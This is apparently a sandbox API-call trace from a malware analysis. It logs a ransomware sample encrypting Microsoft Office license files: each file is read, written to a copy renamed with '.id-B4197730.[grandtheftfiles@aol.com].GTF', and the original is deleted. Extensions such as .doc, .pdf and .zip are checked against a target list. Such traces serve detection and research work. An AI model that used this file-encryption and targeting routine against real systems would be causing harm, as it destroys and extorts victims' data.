	[0177.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0177.293] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.293] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0178.227] GetLastError () returned 0x0
	[0178.227] ReadFile (in: hFile=0x570, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x297b, lpOverlapped=0x0) returned 1
	[0178.243] WriteFile (in: hFile=0x3dc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2980, lpOverlapped=0x0) returned 1
	[0178.245] ReadFile (in: hFile=0x570, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.245] WriteFile (in: hFile=0x3dc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfe, lpOverlapped=0x0) returned 1
	[0178.245] SetEndOfFile (hFile=0x3dc) returned 1
	[0178.245] CloseHandle (hObject=0x3dc) returned 1
	[0178.246] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.246] SetEndOfFile (hFile=0x570) returned 1
	[0178.249] CloseHandle (hObject=0x570) returned 1
	[0178.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 1
	[0178.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.341] lstrlenW (lpString=".doc") returned 4
	[0178.341] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.341] lstrlenW (lpString=".docx") returned 5
	[0178.341] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.341] lstrlenW (lpString=".pdf") returned 4
	[0178.341] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.341] lstrlenW (lpString=".xls") returned 4
	[0178.341] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.341] lstrlenW (lpString=".xlsx") returned 5
	[0178.341] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.341] lstrlenW (lpString=".ppt") returned 4
	[0178.342] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.342] lstrlenW (lpString=".zip") returned 4
	[0178.342] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString=".rar") returned 4
	[0178.342] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString=".bz2") returned 4
	[0178.342] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString=".7z") returned 3
	[0178.342] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.342] lstrlenW (lpString=".dbf") returned 4
	[0178.342] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.342] lstrlenW (lpString=".1cd") returned 4
	[0178.342] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.342] lstrlenW (lpString=".jpg") returned 4
	[0178.342] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.342] lstrlenW (lpString=".doc") returned 4
	[0178.342] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString=".docx") returned 5
	[0178.342] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.342] lstrlenW (lpString=".pdf") returned 4
	[0178.342] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString=".xls") returned 4
	[0178.342] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.342] lstrlenW (lpString=".xlsx") returned 5
	[0178.343] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.343] lstrlenW (lpString=".ppt") returned 4
	[0178.343] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.343] lstrlenW (lpString=".zip") returned 4
	[0178.343] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.343] lstrlenW (lpString=".rar") returned 4
	[0178.343] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.343] lstrlenW (lpString=".bz2") returned 4
	[0178.343] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.343] lstrlenW (lpString=".7z") returned 3
	[0178.343] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.343] lstrlenW (lpString=".dbf") returned 4
	[0178.343] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.343] lstrlenW (lpString=".1cd") returned 4
	[0178.343] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0178.343] lstrlenW (lpString=".jpg") returned 4
	[0178.343] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.343] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.343] lstrlenW (lpString="O365BusinessR_SubTrial-pl.xrm-ms") returned 32
	[0178.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.344] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11179) returned 1
	[0178.344] CloseHandle (hObject=0x540) returned 1
	[0178.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 0x220
	[0178.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.345] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.345] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0178.346] GetLastError () returned 0x0
	[0178.346] ReadFile (in: hFile=0x540, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0178.364] WriteFile (in: hFile=0x52c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0178.365] ReadFile (in: hFile=0x540, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.365] WriteFile (in: hFile=0x52c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x114, lpOverlapped=0x0) returned 1
	[0178.365] SetEndOfFile (hFile=0x52c) returned 1
	[0178.365] CloseHandle (hObject=0x52c) returned 1
	[0178.366] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.366] SetEndOfFile (hFile=0x540) returned 1
	[0178.370] CloseHandle (hObject=0x540) returned 1
	[0178.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 1
	[0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.372] lstrlenW (lpString=".doc") returned 4
	[0178.372] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.372] lstrlenW (lpString=".docx") returned 5
	[0178.372] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.372] lstrlenW (lpString=".pdf") returned 4
	[0178.372] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.372] lstrlenW (lpString=".xls") returned 4
	[0178.372] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.372] lstrlenW (lpString=".xlsx") returned 5
	[0178.372] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.372] lstrlenW (lpString=".ppt") returned 4
	[0178.372] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.372] lstrlenW (lpString=".zip") returned 4
	[0178.372] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.372] lstrlenW (lpString=".rar") returned 4
	[0178.372] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.372] lstrlenW (lpString=".bz2") returned 4
	[0178.372] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.372] lstrlenW (lpString=".7z") returned 3
	[0178.372] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.372] lstrlenW (lpString=".dbf") returned 4
	[0178.372] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.373] lstrlenW (lpString=".1cd") returned 4
	[0178.373] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.373] lstrlenW (lpString=".jpg") returned 4
	[0178.373] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.373] lstrlenW (lpString=".doc") returned 4
	[0178.373] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.373] lstrlenW (lpString=".docx") returned 5
	[0178.373] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.373] lstrlenW (lpString=".pdf") returned 4
	[0178.373] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.373] lstrlenW (lpString=".xls") returned 4
	[0178.373] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.373] lstrlenW (lpString=".xlsx") returned 5
	[0178.373] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.373] lstrlenW (lpString=".ppt") returned 4
	[0178.373] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.373] lstrlenW (lpString=".zip") returned 4
	[0178.373] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.373] lstrlenW (lpString=".rar") returned 4
	[0178.374] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.374] lstrlenW (lpString=".bz2") returned 4
	[0178.374] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.374] lstrlenW (lpString=".7z") returned 3
	[0178.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.374] lstrlenW (lpString=".dbf") returned 4
	[0178.374] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.374] lstrlenW (lpString=".1cd") returned 4
	[0178.374] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0178.374] lstrlenW (lpString=".jpg") returned 4
	[0178.374] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.374] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.374] lstrlenW (lpString="O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 36
	[0178.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.375] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11631) returned 1
	[0178.376] CloseHandle (hObject=0x540) returned 1
	[0178.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 0x220
	[0178.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.377] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.377] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0178.379] GetLastError () returned 0x0
	[0178.379] ReadFile (in: hFile=0x540, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d6f, lpOverlapped=0x0) returned 1
	[0178.420] WriteFile (in: hFile=0x52c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0178.421] ReadFile (in: hFile=0x540, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.421] WriteFile (in: hFile=0x52c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0178.421] SetEndOfFile (hFile=0x52c) returned 1
	[0178.422] CloseHandle (hObject=0x52c) returned 1
	[0178.422] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.422] SetEndOfFile (hFile=0x540) returned 1
	[0178.429] CloseHandle (hObject=0x540) returned 1
	[0178.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 1
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.436] lstrlenW (lpString=".doc") returned 4
	[0178.436] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString=".docx") returned 5
	[0178.436] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.436] lstrlenW (lpString=".pdf") returned 4
	[0178.436] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString=".xls") returned 4
	[0178.436] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString=".xlsx") returned 5
	[0178.436] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.436] lstrlenW (lpString=".ppt") returned 4
	[0178.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.436] lstrlenW (lpString=".zip") returned 4
	[0178.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString=".rar") returned 4
	[0178.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString=".bz2") returned 4
	[0178.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString=".7z") returned 3
	[0178.436] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.436] lstrlenW (lpString=".dbf") returned 4
	[0178.436] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.436] lstrlenW (lpString=".1cd") returned 4
	[0178.436] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.436] lstrlenW (lpString=".jpg") returned 4
	[0178.437] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.437] lstrlenW (lpString=".doc") returned 4
	[0178.437] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.437] lstrlenW (lpString=".docx") returned 5
	[0178.437] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.437] lstrlenW (lpString=".pdf") returned 4
	[0178.437] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.437] lstrlenW (lpString=".xls") returned 4
	[0178.437] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.438] lstrlenW (lpString=".xlsx") returned 5
	[0178.438] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.438] lstrlenW (lpString=".ppt") returned 4
	[0178.438] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.438] lstrlenW (lpString=".zip") returned 4
	[0178.438] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.439] lstrlenW (lpString=".rar") returned 4
	[0178.439] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.439] lstrlenW (lpString=".bz2") returned 4
	[0178.439] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.439] lstrlenW (lpString=".7z") returned 3
	[0178.439] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.439] lstrlenW (lpString=".dbf") returned 4
	[0178.439] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.439] lstrlenW (lpString=".1cd") returned 4
	[0178.439] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0178.439] lstrlenW (lpString=".jpg") returned 4
	[0178.439] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.439] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.439] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 42
